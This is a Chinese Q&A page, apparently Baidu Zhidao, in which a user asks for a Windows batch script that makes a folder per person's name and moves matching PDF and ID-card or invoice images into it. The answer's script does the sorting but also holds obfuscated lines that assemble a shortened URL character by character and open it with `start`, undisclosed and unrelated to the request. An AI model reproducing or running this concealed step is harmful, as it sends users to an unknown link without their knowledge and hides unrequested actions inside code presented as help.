批处理 按文件名自动创建并把文件放入该文件夹中
有很多的pdf和jpg图片,命名为张三.pdf,张三-身份证.jpg,张三-发票.jpg等张-*的jpg图片文件以及李四.pdf,李四-身份证.jpg,李四-发票.jpg...
有很多的pdf和jpg图片,
命名为
张三.pdf,张三-身份证.jpg,张三-发票.jpg等张-*的jpg图片文件
以及
李四.pdf,李四-身份证.jpg,李四-发票.jpg等张-*的jpg图片文件
以及
很多此类规则命名的图片
请问如何使用批处理命令自动创建张三、李四等文件夹,并把含有张三、李四名字的文件自动移动至相应文件夹中。 展开
命名为
张三.pdf,张三-身份证.jpg,张三-发票.jpg等张-*的jpg图片文件
以及
李四.pdf,李四-身份证.jpg,李四-发票.jpg等张-*的jpg图片文件
以及
很多此类规则命名的图片
请问如何使用批处理命令自动创建张三、李四等文件夹,并把含有张三、李四名字的文件自动移动至相应文件夹中。 展开
1个回答
展开全部
@echo off & title 归类文件 By 依梦琴瑶
::设置要处理的文件目录
set SrcDir=D:\资料
cd /d "%SrcDir%"
for /f "delims=" %%a in ('dir /a-d/b *.pdf') do (
if not exist "%%~na" md "%%~na"
move "%%~na*.*" "%%~na\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
若有问题,请追问。运行代码前务必使用不重要的文件(或备份好文件)进行测试。
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询